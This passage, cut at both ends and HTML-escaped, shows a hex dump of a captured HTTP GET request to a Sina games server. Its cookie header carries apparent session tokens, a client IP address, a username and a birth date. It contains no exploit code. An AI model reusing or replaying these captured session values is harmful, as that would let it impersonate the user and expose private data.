lists:&lt;/p&gt;&lt;pre&gt;0000&amp;nbsp;&amp;nbsp;47&amp;nbsp;45&amp;nbsp;54&amp;nbsp;20&amp;nbsp;2F&amp;nbsp;63&amp;nbsp;67&amp;nbsp;69&amp;nbsp;2D&amp;nbsp;62&amp;nbsp;69&amp;nbsp;6E&amp;nbsp;2F&amp;nbsp;73&amp;nbsp;5F&amp;nbsp;77&amp;nbsp;&amp;nbsp;GET&amp;nbsp;/cgi-bin/s_w&lt;/pre&gt;&lt;pre&gt;0010&amp;nbsp;&amp;nbsp;63&amp;nbsp;5F&amp;nbsp;63&amp;nbsp;6F&amp;nbsp;72&amp;nbsp;65&amp;nbsp;76&amp;nbsp;33&amp;nbsp;3F&amp;nbsp;76&amp;nbsp;3D&amp;nbsp;6D&amp;nbsp;26&amp;nbsp;74&amp;nbsp;3D&amp;nbsp;31&amp;nbsp;&amp;nbsp;c_corev3?v=m&amp;amp;t=1&lt;/pre&gt;&lt;pre&gt;0020&amp;nbsp;&amp;nbsp;20&amp;nbsp;48&amp;nbsp;54&amp;nbsp;54&amp;nbsp;50&amp;nbsp;2F&amp;nbsp;31&amp;nbsp;2E&amp;nbsp;31&amp;nbsp;0D&amp;nbsp;0A&amp;nbsp;41&amp;nbsp;63&amp;nbsp;63&amp;nbsp;65&amp;nbsp;70&amp;nbsp;&amp;nbsp;&amp;nbsp;HTTP/1.1..Accep&lt;/pre&gt;&lt;pre&gt;0030&amp;nbsp;&amp;nbsp;74&amp;nbsp;3A&amp;nbsp;20&amp;nbsp;2A&amp;nbsp;2F&amp;nbsp;2A&amp;nbsp;0D&amp;nbsp;0A&amp;nbsp;52&amp;nbsp;65&amp;nbsp;66&amp;nbsp;65&amp;nbsp;72&amp;nbsp;65&amp;nbsp;72&amp;nbsp;3A&amp;nbsp;&amp;nbsp;t:&amp;nbsp;*/*..Referer:&lt;/pre&gt;&lt;pre&gt;0040&amp;nbsp;&amp;nbsp;20&amp;nbsp;68&amp;nbsp;74&amp;nbsp;74&amp;nbsp;70&amp;nbsp;3A&amp;nbsp;2F&amp;nbsp;2F&amp;nbsp;67&amp;nbsp;61&amp;nbsp;6D&amp;nbsp;65&amp;nbsp;73&amp;nbsp;2E&amp;nbsp;73&amp;nbsp;69&amp;nbsp;&amp;nbsp;&amp;nbsp;http://games.si&lt;/pre&gt;&lt;pre&gt;0050&amp;nbsp;&amp;nbsp;6E&amp;nbsp;61&amp;nbsp;2E&amp;nbsp;63&amp;nbsp;6F&amp;nbsp;6D&amp;nbsp;2E&amp;nbsp;63&amp;nbsp;6E&amp;nbsp;2F&amp;nbsp;69&amp;nbsp;66&amp;nbsp;72&amp;nbsp;61&amp;nbsp;6D&amp;nbsp;65&amp;nbsp;&amp;nbsp;na.com.cn/iframe&lt;/pre&gt;&lt;pre&gt;0060&amp;nbsp;&amp;nbsp;2F&amp;nbsp;32&amp;nbsp;30&amp;nbsp;30&amp;nbsp;38&amp;nbsp;2D&amp;nbsp;30&amp;nbsp;37&amp;nbsp;2D&amp;nbsp;30&amp;nbsp;39&amp;nbsp;2F&amp;nbsp;31&amp;nbsp;31&amp;nbsp;36&amp;nbsp;33&amp;nbsp;&amp;nbsp;/2008-07-09/1163&lt;/pre&gt;&lt;pre&gt;0070&amp;nbsp;&amp;nbsp;2E&amp;nbsp;73&amp;nbsp;68&amp;nbsp;74&amp;nbsp;6D&amp;nbsp;6C&amp;nbsp;0D&amp;nbsp;0A&amp;nbsp;41&amp;nbsp;63&amp;nbsp;63&amp;nbsp;65&amp;nbsp;70&amp;nbsp;74&amp;nbsp;2D&amp;nbsp;4C&amp;nbsp;&amp;nbsp;.shtml..Accept-L&lt;/pre&gt;&lt;pre&gt;0080&amp;nbsp;&amp;nbsp;61&amp;nbsp;6E&amp;nbsp;67&amp;nbsp;75&amp;nbsp;61&amp;nbsp;67&amp;nbsp;65&amp;nbsp;3A&amp;nbsp;20&amp;nbsp;7A&amp;nbsp;68&amp;nbsp;2D&amp;nbsp;63&amp;nbsp;6E&amp;nbsp;0D&amp;nbsp;0A&amp;nbsp;&amp;nbsp;anguage:&amp;nbsp;zh-cn..&lt;/pre&gt;&lt;pre&gt;0090&amp;nbsp;&amp;nbsp;55&amp;nbsp;41&amp;nbsp;2D&amp;nbsp;43&amp;nbsp;50&amp;nbsp;55&amp;nbsp;3A&amp;nbsp;20&amp;nbsp;78&amp;nbsp;38&amp;nbsp;36&amp;nbsp;0D&amp;nbsp;0A&amp;nbsp;41&amp;nbsp;63&amp;nbsp;63&amp;nbsp;&amp;nbsp;UA-CPU:&amp;nbsp;x86..Acc&lt;/pre&gt;&lt;pre&gt;00A0&amp;nbsp;&amp;nbsp;65&amp;nbsp;70&amp;nbsp;74&amp;nbsp;2D&amp;nbsp;45&amp;nbsp;6E&amp;nbsp;63&amp;nbsp;6F&amp;nbsp;64&amp;nbsp;69&amp;nbsp;6E&amp;nbsp;67&amp;nbsp;3A&amp;nbsp;20&amp;nbsp;67&amp;nbsp;7A&amp;nbsp;&amp;nbsp;ept-Encoding:&amp;nbsp;gz&lt;/pre&gt;&lt;pre&gt;00B0&amp;nbsp;&amp;nbsp;69&amp;nbsp;70&amp;nbsp;2C&amp;nbsp;20&amp;nbsp;64&amp;nbsp;65&amp;nbsp;66&amp;nbsp;6C&amp;nbsp;61&amp;nbsp;74&amp;nbsp;65&amp;nbsp;0D&amp;nbsp;0A&amp;nbsp;55&amp;nbsp;73&amp;nbsp;65&amp;nbsp;&amp;nbsp;ip,&amp;nbsp;deflate..Use&lt;/pre&gt;&lt;pre&gt;00C0&amp;nbsp;&amp;nbsp;72&amp;nbsp;2D&amp;nbsp;41&amp;nbsp;67&amp;nbsp;65&amp;nbsp;6E&amp;nbsp;74&amp;nbsp;3A&amp;nbsp;20&amp;nbsp;4D&amp;nbsp;6F&amp;nbsp;7A&amp;nbsp;69&amp;nbsp;6C&amp;nbsp;6C&amp;nbsp;61&amp;nbsp;&amp;nbsp;r-Agent:&amp;nbsp;Mozilla&lt;/pre&gt;&lt;pre&gt;00D0&amp;nbsp;&amp;nbsp;2F&amp;nbsp;34&amp;nbsp;2E&amp;nbsp;30&amp;nbsp;20&amp;nbsp;28&amp;nbsp;63&amp;nbsp;6F&amp;nbsp;6D&amp;nbsp;70&amp;nbsp;61&amp;nbsp;74&amp;nbsp;69&amp;nbsp;62&amp;nbsp;6C&amp;nbsp;65&amp;nbsp;&amp;nbsp;/4.0&amp;nbsp;(compatible&lt;/pre&gt;&lt;pre&gt;00E0&amp;nbsp;&amp;nbsp;3B&amp;nbsp;20&amp;nbsp;4D&amp;nbsp;53&amp;nbsp;49&amp;nbsp;45&amp;nbsp;20&amp;nbsp;37&amp;nbsp;2E&amp;nbsp;30&amp;nbsp;3B&amp;nbsp;20&amp;nbsp;57&amp;nbsp;69&amp;nbsp;6E&amp;nbsp;64&amp;nbsp;&amp;nbsp;;&amp;nbsp;MSIE&amp;nbsp;7.0;&amp;nbsp;Wind&lt;/pre&gt;&lt;pre&gt;00F0&amp;nbsp;&amp;nbsp;6F&amp;nbsp;77&amp;nbsp;73&amp;nbsp;20&amp;nbsp;4E&amp;nbsp;54&amp;nbsp;20&amp;nbsp;35&amp;nbsp;2E&amp;nbsp;31&amp;nbsp;3B&amp;nbsp;20&amp;nbsp;51&amp;nbsp;51&amp;nbsp;44&amp;nbsp;6F&amp;nbsp;&amp;nbsp;ows&amp;nbsp;NT&amp;nbsp;5.1;&amp;nbsp;QQDo&lt;/pre&gt;&lt;pre&gt;0100&amp;nbsp;&amp;nbsp;77&amp;nbsp;6E&amp;nbsp;6C&amp;nbsp;6F&amp;nbsp;61&amp;nbsp;64&amp;nbsp;20&amp;nbsp;31&amp;nbsp;2E&amp;nbsp;37&amp;nbsp;3B&amp;nbsp;20&amp;nbsp;54&amp;nbsp;68&amp;nbsp;65&amp;nbsp;57&amp;nbsp;&amp;nbsp;wnload&amp;nbsp;1.7;&amp;nbsp;TheW&lt;/pre&gt;&lt;pre&gt;0110&amp;nbsp;&amp;nbsp;6F&amp;nbsp;72&amp;nbsp;6C&amp;nbsp;64&amp;nbsp;29&amp;nbsp;0D&amp;nbsp;0A&amp;nbsp;48&amp;nbsp;6F&amp;nbsp;73&amp;nbsp;74&amp;nbsp;3A&amp;nbsp;20&amp;nbsp;77&amp;nbsp;6F&amp;nbsp;6F&amp;nbsp;&amp;nbsp;orld)..Host:&amp;nbsp;woo&lt;/pre&gt;&lt;pre&gt;0120&amp;nbsp;&amp;nbsp;63&amp;nbsp;61&amp;nbsp;6C&amp;nbsp;6C&amp;nbsp;2E&amp;nbsp;67&amp;nbsp;61&amp;nbsp;6D&amp;nbsp;65&amp;nbsp;73&amp;nbsp;2E&amp;nbsp;73&amp;nbsp;69&amp;nbsp;6E&amp;nbsp;61&amp;nbsp;2E&amp;nbsp;&amp;nbsp;call.games.sina.&lt;/pre&gt;&lt;pre&gt;0130&amp;nbsp;&amp;nbsp;63&amp;nbsp;6F&amp;nbsp;6D&amp;nbsp;2E&amp;nbsp;63&amp;nbsp;6E&amp;nbsp;0D&amp;nbsp;0A&amp;nbsp;43&amp;nbsp;6F&amp;nbsp;6E&amp;nbsp;6E&amp;nbsp;65&amp;nbsp;63&amp;nbsp;74&amp;nbsp;69&amp;nbsp;&amp;nbsp;com.cn..Connecti&lt;/pre&gt;&lt;pre&gt;0140&amp;nbsp;&amp;nbsp;6F&amp;nbsp;6E&amp;nbsp;3A&amp;nbsp;20&amp;nbsp;4B&amp;nbsp;65&amp;nbsp;65&amp;nbsp;70&amp;nbsp;2D&amp;nbsp;41&amp;nbsp;6C&amp;nbsp;69&amp;nbsp;76&amp;nbsp;65&amp;nbsp;0D&amp;nbsp;0A&amp;nbsp;&amp;nbsp;on:&amp;nbsp;Keep-Alive..&lt;/pre&gt;&lt;pre&gt;0150&amp;nbsp;&amp;nbsp;43&amp;nbsp;6F&amp;nbsp;6F&amp;nbsp;6B&amp;nbsp;69&amp;nbsp;65&amp;nbsp;3A&amp;nbsp;20&amp;nbsp;53&amp;nbsp;49&amp;nbsp;4E&amp;nbsp;41&amp;nbsp;47&amp;nbsp;4E&amp;nbsp;3D&amp;nbsp;30&amp;nbsp;&amp;nbsp;Cookie:&amp;nbsp;SINAGN=0&lt;/pre&gt;&lt;pre&gt;0160&amp;nbsp;&amp;nbsp;7C&amp;nbsp;31&amp;nbsp;32&amp;nbsp;31&amp;nbsp;37&amp;nbsp;36&amp;nbsp;34&amp;nbsp;34&amp;nbsp;37&amp;nbsp;37&amp;nbsp;34&amp;nbsp;32&amp;nbsp;36&amp;nbsp;35&amp;nbsp;3B&amp;nbsp;20&amp;nbsp;&amp;nbsp;|1217644774265;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;0170&amp;nbsp;&amp;nbsp;73&amp;nbsp;69&amp;nbsp;6E&amp;nbsp;61&amp;nbsp;52&amp;nbsp;6F&amp;nbsp;74&amp;nbsp;61&amp;nbsp;74&amp;nbsp;6F&amp;nbsp;72&amp;nbsp;2F&amp;nbsp;3D&amp;nbsp;32&amp;nbsp;33&amp;nbsp;3B&amp;nbsp;&amp;nbsp;sinaRotator/=23;&lt;/pre&gt;&lt;pre&gt;0180&amp;nbsp;&amp;nbsp;20&amp;nbsp;53&amp;nbsp;49&amp;nbsp;4E&amp;nbsp;41&amp;nbsp;47&amp;nbsp;4C&amp;nbsp;4F&amp;nbsp;42&amp;nbsp;41&amp;nbsp;4C&amp;nbsp;3D&amp;nbsp;31&amp;nbsp;35&amp;nbsp;32&amp;nbsp;2E&amp;nbsp;&amp;nbsp;&amp;nbsp;SINAGLOBAL=152.&lt;/pre&gt;&lt;pre&gt;0190&amp;nbsp;&amp;nbsp;32&amp;nbsp;33&amp;nbsp;2E&amp;nbsp;36&amp;nbsp;31&amp;nbsp;2E&amp;nbsp;31&amp;nbsp;36&amp;nbsp;33&amp;nbsp;2E&amp;nbsp;33&amp;nbsp;32&amp;nbsp;31&amp;nbsp;30&amp;nbsp;32&amp;nbsp;31&amp;nbsp;&amp;nbsp;23.61.163.321021&lt;/pre&gt;&lt;pre&gt;01A0&amp;nbsp;&amp;nbsp;32&amp;nbsp;31&amp;nbsp;33&amp;nbsp;37&amp;nbsp;36&amp;nbsp;36&amp;nbsp;32&amp;nbsp;39&amp;nbsp;38&amp;nbsp;33&amp;nbsp;31&amp;nbsp;31&amp;nbsp;3B&amp;nbsp;20&amp;nbsp;76&amp;nbsp;6A&amp;nbsp;&amp;nbsp;213766298311;&amp;nbsp;vj&lt;/pre&gt;&lt;pre&gt;01B0&amp;nbsp;&amp;nbsp;75&amp;nbsp;69&amp;nbsp;64&amp;nbsp;73&amp;nbsp;3D&amp;nbsp;35&amp;nbsp;62&amp;nbsp;31&amp;nbsp;34&amp;nbsp;66&amp;nbsp;39&amp;nbsp;38&amp;nbsp;33&amp;nbsp;39&amp;nbsp;2E&amp;nbsp;31&amp;nbsp;&amp;nbsp;uids=5b14f9839.1&lt;/pre&gt;&lt;pre&gt;01C0&amp;nbsp;&amp;nbsp;31&amp;nbsp;62&amp;nbsp;38&amp;nbsp;30&amp;nbsp;34&amp;nbsp;32&amp;nbsp;61&amp;nbsp;37&amp;nbsp;39&amp;nbsp;66&amp;nbsp;2E&amp;nbsp;30&amp;nbsp;2E&amp;nbsp;31&amp;nbsp;62&amp;nbsp;30&amp;nbsp;&amp;nbsp;1b8042a79f.0.1b0&lt;/pre&gt;&lt;pre&gt;01D0&amp;nbsp;&amp;nbsp;62&amp;nbsp;64&amp;nbsp;61&amp;nbsp;62&amp;nbsp;61&amp;nbsp;32&amp;nbsp;66&amp;nbsp;33&amp;nbsp;66&amp;nbsp;66&amp;nbsp;63&amp;nbsp;3B&amp;nbsp;20&amp;nbsp;76&amp;nbsp;6A&amp;nbsp;6C&amp;nbsp;&amp;nbsp;bdaba2f3ffc;&amp;nbsp;vjl&lt;/pre&gt;&lt;pre&gt;01E0&amp;nbsp;&amp;nbsp;61&amp;nbsp;73&amp;nbsp;74&amp;nbsp;3D&amp;nbsp;31&amp;nbsp;32&amp;nbsp;31&amp;nbsp;37&amp;nbsp;36&amp;nbsp;34&amp;nbsp;34&amp;nbsp;37&amp;nbsp;37&amp;nbsp;38&amp;nbsp;3B&amp;nbsp;20&amp;nbsp;&amp;nbsp;ast=1217644778;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;01F0&amp;nbsp;&amp;nbsp;41&amp;nbsp;70&amp;nbsp;61&amp;nbsp;63&amp;nbsp;68&amp;nbsp;65&amp;nbsp;3D&amp;nbsp;31&amp;nbsp;35&amp;nbsp;32&amp;nbsp;2E&amp;nbsp;32&amp;nbsp;33&amp;nbsp;2E&amp;nbsp;36&amp;nbsp;31&amp;nbsp;&amp;nbsp;Apache=152.23.61&lt;/pre&gt;&lt;pre&gt;0200&amp;nbsp;&amp;nbsp;2E&amp;nbsp;31&amp;nbsp;36&amp;nbsp;33&amp;nbsp;2E&amp;nbsp;38&amp;nbsp;36&amp;nbsp;38&amp;nbsp;36&amp;nbsp;31&amp;nbsp;32&amp;nbsp;31&amp;nbsp;37&amp;nbsp;36&amp;nbsp;33&amp;nbsp;30&amp;nbsp;&amp;nbsp;.163.86861217630&lt;/pre&gt;&lt;pre&gt;0210&amp;nbsp;&amp;nbsp;32&amp;nbsp;33&amp;nbsp;33&amp;nbsp;36&amp;nbsp;37&amp;nbsp;32&amp;nbsp;3B&amp;nbsp;20&amp;nbsp;53&amp;nbsp;45&amp;nbsp;3D&amp;nbsp;39&amp;nbsp;43&amp;nbsp;41&amp;nbsp;41&amp;nbsp;36&amp;nbsp;&amp;nbsp;233672;&amp;nbsp;SE=9CAA6&lt;/pre&gt;&lt;pre&gt;0220&amp;nbsp;&amp;nbsp;46&amp;nbsp;34&amp;nbsp;33&amp;nbsp;35&amp;nbsp;34&amp;nbsp;30&amp;nbsp;37&amp;nbsp;41&amp;nbsp;42&amp;nbsp;31&amp;nbsp;36&amp;nbsp;32&amp;nbsp;44&amp;nbsp;44&amp;nbsp;37&amp;nbsp;38&amp;nbsp;&amp;nbsp;F435407AB162DD78&lt;/pre&gt;&lt;pre&gt;0230&amp;nbsp;&amp;nbsp;45&amp;nbsp;43&amp;nbsp;37&amp;nbsp;42&amp;nbsp;43&amp;nbsp;45&amp;nbsp;45&amp;nbsp;32&amp;nbsp;37&amp;nbsp;33&amp;nbsp;46&amp;nbsp;37&amp;nbsp;36&amp;nbsp;37&amp;nbsp;37&amp;nbsp;42&amp;nbsp;&amp;nbsp;EC7BCEE273F7677B&lt;/pre&gt;&lt;pre&gt;0240&amp;nbsp;&amp;nbsp;36&amp;nbsp;36&amp;nbsp;44&amp;nbsp;30&amp;nbsp;30&amp;nbsp;35&amp;nbsp;34&amp;nbsp;36&amp;nbsp;36&amp;nbsp;41&amp;nbsp;35&amp;nbsp;41&amp;nbsp;42&amp;nbsp;41&amp;nbsp;32&amp;nbsp;39&amp;nbsp;&amp;nbsp;66D005466A5ABA29&lt;/pre&gt;&lt;pre&gt;0250&amp;nbsp;&amp;nbsp;39&amp;nbsp;31&amp;nbsp;30&amp;nbsp;42&amp;nbsp;33&amp;nbsp;44&amp;nbsp;34&amp;nbsp;42&amp;nbsp;30&amp;nbsp;35&amp;nbsp;44&amp;nbsp;42&amp;nbsp;32&amp;nbsp;43&amp;nbsp;45&amp;nbsp;33&amp;nbsp;&amp;nbsp;910B3D4B05DB2CE3&lt;/pre&gt;&lt;pre&gt;0260&amp;nbsp;&amp;nbsp;30&amp;nbsp;46&amp;nbsp;35&amp;nbsp;30&amp;nbsp;37&amp;nbsp;39&amp;nbsp;41&amp;nbsp;44&amp;nbsp;42&amp;nbsp;32&amp;nbsp;34&amp;nbsp;38&amp;nbsp;30&amp;nbsp;30&amp;nbsp;39&amp;nbsp;45&amp;nbsp;&amp;nbsp;0F5079ADB248009E&lt;/pre&gt;&lt;pre&gt;0270&amp;nbsp;&amp;nbsp;43&amp;nbsp;39&amp;nbsp;43&amp;nbsp;32&amp;nbsp;35&amp;nbsp;30&amp;nbsp;32&amp;nbsp;45&amp;nbsp;33&amp;nbsp;32&amp;nbsp;34&amp;nbsp;46&amp;nbsp;41&amp;nbsp;36&amp;nbsp;46&amp;nbsp;39&amp;nbsp;&amp;nbsp;C9C2502E324FA6F9&lt;/pre&gt;&lt;pre&gt;0280&amp;nbsp;&amp;nbsp;43&amp;nbsp;30&amp;nbsp;34&amp;nbsp;30&amp;nbsp;37&amp;nbsp;42&amp;nbsp;41&amp;nbsp;44&amp;nbsp;34&amp;nbsp;39&amp;nbsp;44&amp;nbsp;32&amp;nbsp;39&amp;nbsp;36&amp;nbsp;46&amp;nbsp;32&amp;nbsp;&amp;nbsp;C0407BAD49D296F2&lt;/pre&gt;&lt;pre&gt;0290&amp;nbsp;&amp;nbsp;38&amp;nbsp;39&amp;nbsp;43&amp;nbsp;30&amp;nbsp;36&amp;nbsp;38&amp;nbsp;32&amp;nbsp;42&amp;nbsp;35&amp;nbsp;37&amp;nbsp;38&amp;nbsp;30&amp;nbsp;44&amp;nbsp;42&amp;nbsp;35&amp;nbsp;39&amp;nbsp;&amp;nbsp;89C0682B5780DB59&lt;/pre&gt;&lt;pre&gt;02A0&amp;nbsp;&amp;nbsp;43&amp;nbsp;45&amp;nbsp;37&amp;nbsp;45&amp;nbsp;33&amp;nbsp;44&amp;nbsp;43&amp;nbsp;37&amp;nbsp;34&amp;nbsp;30&amp;nbsp;30&amp;nbsp;37&amp;nbsp;33&amp;nbsp;36&amp;nbsp;46&amp;nbsp;35&amp;nbsp;&amp;nbsp;CE7E3DC7400736F5&lt;/pre&gt;&lt;pre&gt;02B0&amp;nbsp;&amp;nbsp;35&amp;nbsp;45&amp;nbsp;41&amp;nbsp;33&amp;nbsp;37&amp;nbsp;36&amp;nbsp;33&amp;nbsp;31&amp;nbsp;38&amp;nbsp;36&amp;nbsp;34&amp;nbsp;3B&amp;nbsp;20&amp;nbsp;53&amp;nbsp;43&amp;nbsp;54&amp;nbsp;&amp;nbsp;5EA37631864;&amp;nbsp;SCT&lt;/pre&gt;&lt;pre&gt;02C0&amp;nbsp;&amp;nbsp;3D&amp;nbsp;31&amp;nbsp;31&amp;nbsp;3B&amp;nbsp;20&amp;nbsp;53&amp;nbsp;41&amp;nbsp;3D&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;&amp;nbsp;=11;&amp;nbsp;SA=0%7C0%7C&lt;/pre&gt;&lt;pre&gt;02D0&amp;nbsp;&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;31&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;31&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;&amp;nbsp;0%7C0%7C1%7C1%7C&lt;/pre&gt;&lt;pre&gt;02E0&amp;nbsp;&amp;nbsp;31&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;31&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;31&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;&amp;nbsp;1%7C1%7C0%7C1%7C&lt;/pre&gt;&lt;pre&gt;02F0&amp;nbsp;&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;31&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;&amp;nbsp;0%7C0%7C1%7C0%7C&lt;/pre&gt;&lt;pre&gt;0300&amp;nbsp;&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;31&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;&amp;nbsp;0%7C0%7C1%7C0%7C&lt;/pre&gt;&lt;pre&gt;0310&amp;nbsp;&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;&amp;nbsp;0%7C0%7C0%7C0%7C&lt;/pre&gt;&lt;pre&gt;0320&amp;nbsp;&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;30&amp;nbsp;3B&amp;nbsp;20&amp;nbsp;50&amp;nbsp;&amp;nbsp;0%7C0%7C0%7C0;&amp;nbsp;P&lt;/pre&gt;&lt;pre&gt;0330&amp;nbsp;&amp;nbsp;53&amp;nbsp;3D&amp;nbsp;30&amp;nbsp;3B&amp;nbsp;20&amp;nbsp;53&amp;nbsp;55&amp;nbsp;3D&amp;nbsp;25&amp;nbsp;45&amp;nbsp;35&amp;nbsp;25&amp;nbsp;41&amp;nbsp;44&amp;nbsp;25&amp;nbsp;39&amp;nbsp;&amp;nbsp;S=0;&amp;nbsp;SU=%E5%AD%9&lt;/pre&gt;&lt;pre&gt;0340&amp;nbsp;&amp;nbsp;39&amp;nbsp;25&amp;nbsp;45&amp;nbsp;39&amp;nbsp;25&amp;nbsp;39&amp;nbsp;44&amp;nbsp;25&amp;nbsp;39&amp;nbsp;36&amp;nbsp;25&amp;nbsp;45&amp;nbsp;34&amp;nbsp;25&amp;nbsp;42&amp;nbsp;38&amp;nbsp;&amp;nbsp;9%E9%9D%96%E4%B8&lt;/pre&gt;&lt;pre&gt;0350&amp;nbsp;&amp;nbsp;25&amp;nbsp;42&amp;nbsp;30&amp;nbsp;3A&amp;nbsp;32&amp;nbsp;3A&amp;nbsp;31&amp;nbsp;32&amp;nbsp;37&amp;nbsp;36&amp;nbsp;38&amp;nbsp;33&amp;nbsp;35&amp;nbsp;38&amp;nbsp;32&amp;nbsp;37&amp;nbsp;&amp;nbsp;%B0:2:1276835827&lt;/pre&gt;&lt;pre&gt;0360&amp;nbsp;&amp;nbsp;3A&amp;nbsp;66&amp;nbsp;68&amp;nbsp;66&amp;nbsp;79&amp;nbsp;75&amp;nbsp;3A&amp;nbsp;31&amp;nbsp;32&amp;nbsp;31&amp;nbsp;37&amp;nbsp;36&amp;nbsp;33&amp;nbsp;30&amp;nbsp;32&amp;nbsp;38&amp;nbsp;&amp;nbsp;:fhfyu:121763028&lt;/pre&gt;&lt;pre&gt;0370&amp;nbsp;&amp;nbsp;34&amp;nbsp;3A&amp;nbsp;31&amp;nbsp;3A&amp;nbsp;31&amp;nbsp;39&amp;nbsp;32&amp;nbsp;32&amp;nbsp;2D&amp;nbsp;30&amp;nbsp;35&amp;nbsp;2D&amp;nbsp;32&amp;nbsp;36&amp;nbsp;3A&amp;nbsp;3B&amp;nbsp;&amp;nbsp;4:1:1922-05-26:;&lt;/pre&gt;&lt;pre&gt;0380&amp;nbsp;&amp;nbsp;20&amp;nbsp;53&amp;nbsp;49&amp;nbsp;4E&amp;nbsp;41&amp;nbsp;50&amp;nbsp;52&amp;nbsp;4F&amp;nbsp;3D&amp;nbsp;66&amp;nbsp;71&amp;nbsp;32&amp;nbsp;6D&amp;nbsp;66&amp;nbsp;4D&amp;nbsp;38&amp;nbsp;&amp;nbsp;&amp;nbsp;SINAPRO=fq2mfM8&lt;/pre&gt;&lt;pre&gt;0390&amp;nbsp;&amp;nbsp;4D&amp;nbsp;44&amp;nbsp;25&amp;nbsp;33&amp;nbsp;44&amp;nbsp;37&amp;nbsp;57&amp;nbsp;6D&amp;nbsp;44&amp;nbsp;78&amp;nbsp;46&amp;nbsp;25&amp;nbsp;32&amp;nbsp;35&amp;nbsp;37&amp;nbsp;25&amp;nbsp;&amp;nbsp;MD%3D7WmDxF%257%&lt;/pre&gt;&lt;pre&gt;03A0&amp;nbsp;&amp;nbsp;32&amp;nbsp;35&amp;nbsp;25&amp;nbsp;32&amp;nbsp;35&amp;nbsp;78&amp;nbsp;32&amp;nbsp;39&amp;nbsp;57&amp;nbsp;39&amp;nbsp;77&amp;nbsp;37&amp;nbsp;25&amp;nbsp;33&amp;nbsp;44&amp;nbsp;52&amp;nbsp;&amp;nbsp;25%25x29W9w7%3DR&lt;/pre&gt;&lt;pre&gt;03B0&amp;nbsp;&amp;nbsp;32&amp;nbsp;4A&amp;nbsp;25&amp;nbsp;32&amp;nbsp;35&amp;nbsp;65&amp;nbsp;78&amp;nbsp;79&amp;nbsp;37&amp;nbsp;4A&amp;nbsp;25&amp;nbsp;33&amp;nbsp;44&amp;nbsp;32&amp;nbsp;4D&amp;nbsp;69&amp;nbsp;&amp;nbsp;2J%25exy7J%3D2Mi&lt;/pre&gt;&lt;pre&gt;03C0&amp;nbsp;&amp;nbsp;52&amp;nbsp;25&amp;nbsp;32&amp;nbsp;36&amp;nbsp;6C&amp;nbsp;7A&amp;nbsp;4D&amp;nbsp;37&amp;nbsp;32&amp;nbsp;77&amp;nbsp;25&amp;nbsp;33&amp;nbsp;44&amp;nbsp;25&amp;nbsp;32&amp;nbsp;35&amp;nbsp;&amp;nbsp;R%26lzM72w%3D%25&lt;/pre&gt;&lt;pre&gt;03D0&amp;nbsp;&amp;nbsp;39&amp;nbsp;4A&amp;nbsp;25&amp;nbsp;32&amp;nbsp;31&amp;nbsp;37&amp;nbsp;6D&amp;nbsp;77&amp;nbsp;25&amp;nbsp;32&amp;nbsp;35&amp;nbsp;39&amp;nbsp;25&amp;nbsp;32&amp;nbsp;36&amp;nbsp;25&amp;nbsp;&amp;nbsp;9J%217mw%259%26%&lt;/pre&gt;&lt;pre&gt;03E0&amp;nbsp;&amp;nbsp;32&amp;nbsp;36&amp;nbsp;4D&amp;nbsp;6D&amp;nbsp;4A&amp;nbsp;4D&amp;nbsp;25&amp;nbsp;32&amp;nbsp;31&amp;nbsp;77&amp;nbsp;3B&amp;nbsp;20&amp;nbsp;55&amp;nbsp;4E&amp;nbsp;49&amp;nbsp;50&amp;nbsp;&amp;nbsp;26MmJM%21w;&amp;nbsp;UNIP&lt;/pre&gt;&lt;pre&gt;03F0&amp;nbsp;&amp;nbsp;52&amp;nbsp;4F&amp;nbsp;55&amp;nbsp;3D&amp;nbsp;32&amp;nbsp;3A&amp;nbsp;25&amp;nbsp;43&amp;nbsp;42&amp;nbsp;25&amp;nbsp;45&amp;nbsp;46&amp;nbsp;25&amp;nbsp;42&amp;nbsp;45&amp;nbsp;25&amp;nbsp;&amp;nbsp;ROU=2:%CB%EF%BE%&lt;/pre&gt;&lt;pre&gt;0400&amp;nbsp;&amp;nbsp;42&amp;nbsp;38&amp;nbsp;25&amp;nbsp;42&amp;nbsp;37&amp;nbsp;25&amp;nbsp;45&amp;nbsp;31&amp;nbsp;3A&amp;nbsp;30&amp;nbsp;3A&amp;nbsp;3A&amp;nbsp;31&amp;nbsp;3A&amp;nbsp;3B&amp;nbsp;20&amp;nbsp;&amp;nbsp;B8%B7%E1:0::1:;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;0410&amp;nbsp;&amp;nbsp;6E&amp;nbsp